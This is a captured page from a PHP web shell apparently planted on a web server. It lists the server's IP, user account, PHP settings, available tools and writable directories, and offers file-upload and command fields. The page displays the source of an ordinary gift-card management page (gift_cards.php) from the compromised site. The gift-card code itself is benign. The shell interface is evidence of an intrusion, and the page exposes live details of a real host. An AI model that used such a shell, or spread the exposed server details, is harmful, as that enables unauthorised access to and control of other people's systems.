403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs/gift_cards.php
<?php
include 'protect.php';
include 'db.php';
include 'store_settings.php';
require_once __DIR__ . '/brand_header.php';
require_once __DIR__ . '/gift_card_helpers.php';

$message = '';
$error = '';
$giftCards = array();
$taxRate = getStoreTaxRate($conn);
$selectedMonth = isset($_REQUEST['month']) ? normalizeGiftCardMonth($_REQUEST['month']) : date('Y-m');
$exportScope = isset($_REQUEST['export_scope']) ? normalizeGiftCardExportScope($_REQUEST['export_scope']) : 'month';
$startDate = isset($_REQUEST['start_date']) ? normalizeGiftCardDate($_REQUEST['start_date']) : '';
$endDate = isset($_REQUEST['end_date']) ? normalizeGiftCardDate($_REQUEST['end_date']) : '';
$giftCardCounts = array('active' => 0, 'expired' => 0, 'archived' => 0);
$quickLookup = isset($_REQUEST['quick_lookup']) ? trim((string) $_REQUEST['quick_lookup']) : '';
$quickCard = null;
$transferCandidates = array();
$soonExpiringCards = array();
$selectedSourceGiftCardId = isset($_REQUEST['source_gift_card_id']) ? (int) $_REQUEST['source_gift_card_id'] : 0;
$selectedTargetGiftCardId = isset($_REQUEST['target_gift_card_id']) ? (int) $_REQUEST['target_gift_card_id'] : 0;

function hGiftCard($value)
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? trim((string) $_POST['action']) : '';

    try {
        if ($action === 'add_gift_card') {
            addGiftCard(
                $conn,
                isset($_POST['card_label']) ? $_POST['card_label'] : '',
                isset($_POST['card_number']) ? $_POST['card_number'] : '',
                isset($_POST['initial_amount']) ? $_POST['initial_amount'] : '',
                isset($_POST['issued_date']) ? $_POST['issued_date'] : '',
                isset($_POST['expiration_days']) ? $_POST['expiration_days'] : 180,
                isset($_POST['notes']) ? $_POST['notes'] : '',
                !empty($_POST['is_donation']) ? 1 : 0,
                isset($_POST['donation_recipient']) ? $_POST['donation_recipient'] : '',
                isset($_POST['donation_qbo_account']) ? $_POST['donation_qbo_account'] : ''
            );
            $message = 'Gift card saved.';
        } elseif ($action === 'archive_gift_card') {
            archiveGiftCardAndLinkedDonation($conn, isset($_POST['gift_card_id']) ? (int) $_POST['gift_card_id'] : 0);
            $message = 'Gift card moved to archive.';
        } elseif ($action === 'check_balance') {
            $quickLookup = isset($_POST['quick_lookup']) ? trim((string) $_POST['quick_lookup']) : '';
        } elseif ($action === 'transfer_balance') {
            $selectedSourceGiftCardId = isset($_POST['source_gift_card_id']) ? (int) $_POST['source_gift_card_id'] : 0;
            $selectedTargetGiftCardId = isset($_POST['target_gift_card_id']) ? (int) $_POST['target_gift_card_id'] : 0;
            $transferredAmount = transferGiftCardBalance(
                $conn,
                $selectedSourceGiftCardId,
                $selectedTargetGiftCardId
            );
            $message = 'Transferred $' . number_format($transferredAmount, 2) . ' to the selected gift card.';
            $selectedSourceGiftCardId = 0;
            $selectedTargetGiftCardId = 0;
        }
    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

try {
    $giftCardCounts = giftCardCounts($conn);
    $giftCards = fetchGiftCards($conn, $taxRate, $exportScope, $selectedMonth, $startDate, $endDate);
    $transferCandidates = fetchGiftCards($conn, $taxRate, 'all', '', '', '');
    $soonExpiringCards = soonExpiringGiftCards($conn, $taxRate, 14);
    if ($quickLookup !== '') {
        $quickCard = quickFindGiftCard($conn, $quickLookup, $taxRate);
        if ($quickCard === null && $error === '') {
            $error = 'No active gift card matched that search.';
        }
    }
} catch (Exception $e) {
    $error = $e->getMessage();
}

$outstandingValue = 0.0;
$issuedValue = 0.0;
foreach ($giftCards as $giftCard) {
    $outstandingValue += (float) $giftCard['remaining_balance'];
    $issuedValue += (float) $giftCard['initial_amount'];
}

if (isset($_GET['export']) && $_GET['export'] === 'csv' && $error === '') {
    $csv = exportGiftCardsCsv($giftCards);
    $filename = giftCardExportFilename($exportScope, $selectedMonth, $startDate, $endDate);

    header('Content-Type: text/csv; charset=UTF-8');
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    echo $csv;
    exit;
}

$months = array();
for ($i = 0; $i < 24; $i++) {
    $months[] = date('Y-m', strtotime("-{$i} months"));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Gift Cards</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 30px;
            background: #f8fafc;
            color: #1f2937;
        }

        .container {
            max-width: 1100px;
            margin: 0 auto;
            background: #fff;
            padding: 28px;
            border-radius: 16px;
            box-shadow: 0 12px 32px rgba(15, 23, 42, 0.08);
        }

        .header-row {
            display: flex;
            justify-content: space-between;
            align-items: flex-end;
            gap: 16px;
            flex-wrap: wrap;
            margin-bottom: 18px;
        }

        .title-note {
            color: #64748b;
            font-size: 0.95rem;
            margin-top: 4px;
        }

        .btn {
            display: inline-block;
            padding: 10px 14px;
            background: #1d4ed8;
            color: #fff;
            text-decoration: none;
            border: none;
            border-radius: 10px;
            font-weight: 700;
            cursor: pointer;
        }

        .btn-secondary {
            background: #64748b;
        }

        .grid {
            display: grid;
            grid-template-columns: 0.95fr 1.05fr;
            gap: 22px;
        }

        .card {
            background: #f8fafc;
            border: 1px solid #e5e7eb;
            border-radius: 16px;
            padding: 20px;
        }

        .card h2 {
            margin-top: 0;
        }

        .form-grid {
            display: grid;
            grid-template-columns: repeat(2, minmax(0, 1fr));
            gap: 16px;
        }

        .compact-tools {
            padding: 14px 16px;
        }

        .compact-tools h2 {
            margin: 0 0 10px;
            font-size: 1.05rem;
        }

        .compact-tools .form-grid {
            grid-template-columns: repeat(6, minmax(0, 1fr));
            gap: 10px;
            align-items: end;
        }

        .compact-tools label {
            margin-bottom: 3px;
            font-size: 0.84rem;
        }

        .compact-tools input,
        .compact-tools select {
            padding: 8px 9px;
            font-size: 0.92rem;
        }

        .compact-tools .btn {
            padding: 8px 11px;
            font-size: 0.9rem;
        }

        .full {
            grid-column: 1 / -1;
        }

        label {
            display: block;
            font-weight: 700;
            margin-bottom: 6px;
            color: #475569;
        }

        input, textarea {
            width: 100%;
            padding: 10px 12px;
            border: 1px solid #cbd5e1;
            border-radius: 10px;
            font: inherit;
            box-sizing: border-box;
        }

        textarea {
            min-height: 88px;
            resize: vertical;
        }

        .checkbox-row {
            display: flex;
            align-items: center;
            gap: 10px;
            font-weight: 700;
            color: #475569;
        }

        .checkbox-row input {
            width: auto;
        }

        .summary-grid {
            display: grid;
            grid-template-columns: repeat(5, minmax(0, 1fr));
            gap: 14px;
            margin-bottom: 16px;
        }

        .alert-banner {
            margin-bottom: 16px;
            padding: 14px 16px;
            border-radius: 14px;
            background: #fff7ed;
            border: 1px solid #fdba74;
            color: #9a3412;
        }

        .alert-banner strong {
            display: block;
            margin-bottom: 6px;
        }

        .alert-banner ul {
            margin: 6px 0 0 18px;
            padding: 0;
        }

        .alert-banner a {
            color: #9a3412;
            font-weight: 700;
            text-decoration: none;
        }

        .mini-grid {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 16px;
            margin-bottom: 16px;
        }

        .mini-card {
            background: #f8fafc;
            border: 1px solid #e5e7eb;
            border-radius: 16px;
            padding: 16px;
        }

        .mini-card h2 {
            margin: 0 0 10px;
            font-size: 1rem;
        }

        .mini-card .form-grid {
            gap: 10px;
        }

        .mini-card label {
            margin-bottom: 3px;
            font-size: 0.84rem;
        }

        .mini-card input,
        .mini-card select {
            padding: 8px 9px;
            font-size: 0.92rem;
        }

        .mini-card .btn {
            padding: 8px 11px;
            font-size: 0.9rem;
        }

        .quick-result {
            margin-top: 10px;
            padding: 12px 14px;
            border-radius: 12px;
            background: #eff6ff;
            border: 1px solid #bfdbfe;
        }

        .quick-result strong {
            display: block;
            margin-bottom: 4px;
        }

        .summary-box {
            background: #eff6ff;
            border-radius: 14px;
            padding: 14px;
        }

        .summary-box .label {
            color: #475569;
            font-size: 0.9rem;
        }

        .summary-box .value {
            margin-top: 6px;
            font-size: 1.5rem;
            font-weight: 800;
            color: #0f172a;
        }

        .msg {
            margin-bottom: 16px;
            padding: 12px 14px;
            border-radius: 10px;
        }

        .msg.ok {
            background: #ecfdf5;
            border: 1px solid #86efac;
            color: #166534;
        }

        .msg.err {
            background: #fef2f2;
            border: 1px solid #fca5a5;
            color: #991b1b;
        }

        table {
            width: 100%;
            border-collapse: collapse;
        }

        th, td {
            text-align: left;
            padding: 10px 8px;
            border-bottom: 1px solid #e5e7eb;
            vertical-align: top;
        }

        th {
            background: #eff6ff;
            white-space: nowrap;
        }

        .muted {
            color: #64748b;
            font-size: 0.92rem;
        }

        .negative {
            color: #b91c1c;
            font-weight: 700;
        }

        @media (max-width: 900px) {
            .grid, .summary-grid, .form-grid {
                grid-template-columns: 1fr;
            }

            .compact-tools .form-grid {
                grid-template-columns: 1fr;
            }

            .mini-grid {
                grid-template-columns: 1fr;
            }
        }
    </style>
    <?php echo appBrandStyles(); ?>
</head>
<body>
<div class="container">
    <?php renderAppBrandHeader(); ?>

    <div class="header-row">
        <div>
            <h1 style="margin:0;">Gift Cards</h1>
            <div class="title-note">Track each card, its starting amount, and what is left after items and tax are applied.</div>
        </div>
        <div style="display:flex;gap:10px;flex-wrap:wrap;">
            <a class="btn btn-secondary" href="gift_cards_expired.php">Expired Cards</a>
            <a class="btn btn-secondary" href="gift_cards_archive.php">Gift Card Archive</a>
            <a class="btn btn-secondary" href="index.php">Back to Dashboard</a>
        </div>
    </div>

    <?php if ($message !== ''): ?>
        <div class="msg ok"><?php echo hGiftCard($message); ?></div>
    <?php endif; ?>

    <?php if ($error !== ''): ?>
        <div class="msg err"><?php echo hGiftCard($error); ?></div>
    <?php endif; ?>

    <?php if ($soonExpiringCards): ?>
        <div class="alert-banner">
            <strong>Soon-to-expire gift cards</strong>
            <div>These active cards expire within the next 14 days.</div>
            <ul>
                <?php foreach (array_slice($soonExpiringCards, 0, 5) as $soonCard): ?>
                    <li>
                        <a href="gift_card_detail.php?gift_card_id=<?php echo hGiftCard($soonCard['id']); ?>">
                            <?php echo hGiftCard($soonCard['card_label']); ?>
                        </a>
                        expires on <?php echo hGiftCard($soonCard['expiration_date']); ?>
                        (<?php echo hGiftCard((int) $soonCard['days_until_expiration']); ?> day<?php echo (int) $soonCard['days_until_expiration'] === 1 ? '' : 's'; ?> left)
                        with $<?php echo hGiftCard(number_format((float) $soonCard['remaining_balance'], 2)); ?> left
                    </li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>

    <div class="summary-grid">
        <div class="summary-box">
            <div class="label">Active</div>
            <div class="value"><?php echo hGiftCard($giftCardCounts['active']); ?></div>
        </div>
        <div class="summary-box">
            <div class="label">Expired</div>
            <div class="value"><?php echo hGiftCard($giftCardCounts['expired']); ?></div>
        </div>
        <div class="summary-box">
            <div class="label">Archived</div>
            <div class="value"><?php echo hGiftCard($giftCardCounts['archived']); ?></div>
        </div>
        <div class="summary-box">
            <div class="label">Issued Value</div>
            <div class="value">$<?php echo hGiftCard(number_format($issuedValue, 2)); ?></div>
        </div>
        <div class="summary-box">
            <div class="label">Outstanding Balance</div>
            <div class="value">$<?php echo hGiftCard(number_format($outstandingValue, 2)); ?></div>
        </div>
    </div>

    <div class="mini-grid">
        <div class="mini-card">
            <h2>Quick Balance Checker</h2>
            <form method="post" class="form-grid">
                <input type="hidden" name="action" value="check_balance">
                <div class="full">
                    <label for="quick_lookup">Card name or number</label>
                    <input id="quick_lookup" name="quick_lookup" type="text" value="<?php echo hGiftCard($quickLookup); ?>" placeholder="Search by label or number">
                </div>
                <div>
                    <button class="btn btn-secondary" type="submit">Check Balance</button>
                </div>
            </form>
            <?php if ($quickCard): ?>
                <div class="quick-result">
                    <strong><?php echo hGiftCard($quickCard['card_label']); ?></strong>
                    <?php if (!empty($quickCard['card_number'])): ?>
                        <div class="muted"><?php echo hGiftCard($quickCard['card_number']); ?></div>
                    <?php endif; ?>
                    <div class="muted" style="margin-top:6px;">
                        Balance left: $<?php echo hGiftCard(number_format((float) $quickCard['remaining_balance'], 2)); ?>
                        <?php if ((float) $quickCard['amount_owed'] > 0): ?>
                            | Owed: $<?php echo hGiftCard(number_format((float) $quickCard['amount_owed'], 2)); ?>
                        <?php endif; ?>
                        | Expires: <?php echo hGiftCard($quickCard['expiration_date']); ?>
                    </div>
                    <div style="margin-top:8px;">
                        <a class="btn btn-secondary" href="gift_card_detail.php?gift_card_id=<?php echo hGiftCard($quickCard['id']); ?>" style="padding:7px 10px;font-size:0.85rem;">Open Card</a>
                    </div>
                </div>
            <?php endif; ?>
        </div>

        <div class="mini-card">
            <h2>Transfer Remaining Balance</h2>
            <form method="post" class="form-grid">
                <input type="hidden" name="action" value="transfer_balance">
                <div class="full">
                    <label for="source_gift_card_id">From card</label>
                    <select id="source_gift_card_id" name="source_gift_card_id" required>
                        <option value="">-- Select source card --</option>
                        <?php foreach ($transferCandidates as $candidate): ?>
                            <option value="<?php echo hGiftCard($candidate['id']); ?>" <?php echo $selectedSourceGiftCardId === (int) $candidate['id'] ? 'selected' : ''; ?>>
                                <?php echo hGiftCard($candidate['card_label']); ?> - $<?php echo hGiftCard(number_format((float) $candidate['remaining_balance'], 2)); ?> left
                            </option>
                        <?php endforeach; ?>
                    </select>
                </div>
                <div class="full">
                    <label for="target_gift_card_id">To card</label>
                    <select id="target_gift_card_id" name="target_gift_card_id" required>
                        <option value="">-- Select target card --</option>
                        <?php foreach ($transferCandidates as $candidate): ?>
                            <option value="<?php echo hGiftCard($candidate['id']); ?>" <?php echo $selectedTargetGiftCardId === (int) $candidate['id'] ? 'selected' : ''; ?>>
                                <?php echo hGiftCard($candidate['card_label']); ?> - $<?php echo hGiftCard(number_format((float) $candidate['remaining_balance'], 2)); ?> left
                            </option>
                        <?php endforeach; ?>
                    </select>
                </div>
                <div>
                    <button class="btn" type="submit">Transfer Balance</button>
                </div>
            </form>
            <div class="muted" style="margin-top:8px;">This moves the source card’s full remaining balance into the target card and zeroes out the source card.</div>
        </div>
    </div>

    <div class="card compact-tools" style="margin-bottom:16px;">
        <h2 style="margin-top:0;">Export / Filter</h2>
        <form method="get" class="form-grid">
            <div>
                <label for="export_scope">Show / Export</label>
                <select id="export_scope" name="export_scope">
                    <option value="month" <?php echo $exportScope === 'month' ? 'selected' : ''; ?>>By Month</option>
                    <option value="range" <?php echo $exportScope === 'range' ? 'selected' : ''; ?>>By Date Range</option>
                    <option value="all" <?php echo $exportScope === 'all' ? 'selected' : ''; ?>>All Active Cards</option>
                </select>
            </div>
            <div>
                <label for="month">Month</label>
                <select id="month" name="month">
                    <?php foreach ($months as $month): ?>
                        <option value="<?php echo hGiftCard($month); ?>" <?php echo $selectedMonth === $month ? 'selected' : ''; ?>>
                            <?php echo hGiftCard(date('F Y', strtotime($month . '-01'))); ?>
                        </option>
                    <?php endforeach; ?>
                </select>
            </div>
            <div>
                <label for="start_date">Start Date</label>
                <input id="start_date" name="start_date" type="date" value="<?php echo hGiftCard($startDate); ?>">
            </div>
            <div>
                <label for="end_date">End Date</label>
                <input id="end_date" name="end_date" type="date" value="<?php echo hGiftCard($endDate); ?>">
            </div>
            <div>
                <button class="btn btn-secondary" type="submit">Apply</button>
            </div>
            <div>
                <button class="btn" type="submit" name="export" value="csv">Export CSV</button>
            </div>
        </form>
    </div>

    <div class="grid">
        <div class="card">
            <h2>Add Gift Card</h2>
            <form method="post">
                <input type="hidden" name="action" value="add_gift_card">
                <div class="form-grid">
                    <div>
                        <label for="card_label">Label / Number</label>
                        <input id="card_label" name="card_label" type="text" placeholder="Card 1001 or Spring Raffle Card" required>
                    </div>
                    <div>
                        <label for="card_number">Extra Card Number</label>
                        <input id="card_number" name="card_number" type="text" placeholder="Optional separate number">
                    </div>
                    <div>
                        <label for="initial_amount">Initial Amount</label>
                        <input id="initial_amount" name="initial_amount" type="number" step="0.01" min="0.00" placeholder="0.00" required>
                    </div>
                    <div>
                        <label for="issued_date">Issued Date</label>
                        <input id="issued_date" name="issued_date" type="date" value="<?php echo hGiftCard(date('Y-m-d')); ?>" required>
                    </div>
                    <div>
                        <label for="expiration_days">Expiration</label>
                        <select id="expiration_days" name="expiration_days">
                            <?php foreach (giftCardExpirationOptions() as $days): ?>
                                <option value="<?php echo hGiftCard($days); ?>" <?php echo $days === 180 ? 'selected' : ''; ?>>
                                    <?php echo hGiftCard($days); ?> days
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="full">
                        <label class="checkbox-row">
                            <input id="is_donation" name="is_donation" type="checkbox" value="1" onchange="toggleDonationFields()">
                            This gift card was given as a donation
                        </label>
                    </div>
                    <div id="donation-recipient-wrap" style="display:none;">
                        <label for="donation_recipient">Donation Recipient / Organization</label>
                        <input id="donation_recipient" name="donation_recipient" type="text" placeholder="School, club, church, fundraiser...">
                    </div>
                    <div id="donation-qbo-wrap" style="display:none;">
                        <label for="donation_qbo_account">Donation QBO Account / Category</label>
                        <input id="donation_qbo_account" name="donation_qbo_account" type="text" value="Donations" placeholder="Donations">
                    </div>
                    <div class="full">
                        <label for="notes">Notes</label>
                        <textarea id="notes" name="notes" placeholder="Optional note about where the card came from or who it belongs to"></textarea>
                    </div>
                </div>

                <div style="margin-top:18px;">
                    <button class="btn" type="submit">Save Gift Card</button>
                </div>
            </form>
        </div>

        <div class="card">
            <h2>Gift Card List</h2>
            <?php if (!$giftCards): ?>
                <div class="muted">No gift cards saved yet.</div>
            <?php else: ?>
                <table>
                    <thead>
                        <tr>
                            <th>Card</th>
                            <th>Issued</th>
                            <th>Expires</th>
                            <th>Start</th>
                            <th>Spent</th>
                            <th>Left</th>
                            <th>Owed</th>
                            <th>Action</th>
                        </tr>
                    </thead>
                    <tbody>
                    <?php foreach ($giftCards as $giftCard): ?>
                        <tr>
                            <td>
                                <a href="gift_card_detail.php?gift_card_id=<?php echo hGiftCard($giftCard['id']); ?>" style="font-weight:700;color:#1d4ed8;text-decoration:none;">
                                    <?php echo hGiftCard($giftCard['card_label']); ?>
                                </a>
                                <?php if (!empty($giftCard['card_number'])): ?>
                                    <div class="muted"><?php echo hGiftCard($giftCard['card_number']); ?></div>
                                <?php endif; ?>
                                <?php if (!empty($giftCard['is_donation'])): ?>
                                    <div class="muted" style="margin-top:4px;color:#166534;">Donation card<?php echo !empty($giftCard['donation_recipient']) ? ': ' . hGiftCard($giftCard['donation_recipient']) : ''; ?></div>
                                <?php endif; ?>
                            </td>
                            <td><?php echo hGiftCard($giftCard['issued_date']); ?></td>
                            <td><?php echo hGiftCard($giftCard['expiration_date']); ?></td>
                            <td>$<?php echo hGiftCard(number_format((float) $giftCard['initial_amount'], 2)); ?></td>
                            <td>$<?php echo hGiftCard(number_format((float) $giftCard['spent_total'], 2)); ?></td>
                            <td class="<?php echo (float) $giftCard['remaining_balance'] < 0 ? 'negative' : ''; ?>">
                                $<?php echo hGiftCard(number_format((float) $giftCard['remaining_balance'], 2)); ?>
                            </td>
                            <td class="<?php echo (float) $giftCard['amount_owed'] > 0 ? 'negative' : ''; ?>">
                                $<?php echo hGiftCard(number_format((float) $giftCard['amount_owed'], 2)); ?>
                            </td>
                            <td>
                                <form method="post" onsubmit="return confirm('Remove this gift card to the archive? If it is linked to a donation, that donation will be moved to the archive too.');" style="margin:0;">
                                    <input type="hidden" name="action" value="archive_gift_card">
                                    <input type="hidden" name="gift_card_id" value="<?php echo hGiftCard($giftCard['id']); ?>">
                                    <button class="btn btn-danger" type="submit" style="padding:8px 11px;font-size:0.9rem;">Remove</button>
                                </form>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>
                <div class="muted" style="margin-top:12px;">Open a card to enter purchases and watch the balance go down as tax is added.</div>
            <?php endif; ?>
        </div>
    </div>
</div>
<script>
function toggleDonationFields() {
    var checkbox = document.getElementById('is_donation');
    var show = checkbox && checkbox.checked;
    document.getElementById('donation-recipient-wrap').style.display = show ? 'block' : 'none';
    document.getElementById('donation-qbo-wrap').style.display = show ? 'block' : 'none';
}

toggleDonationFields();
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit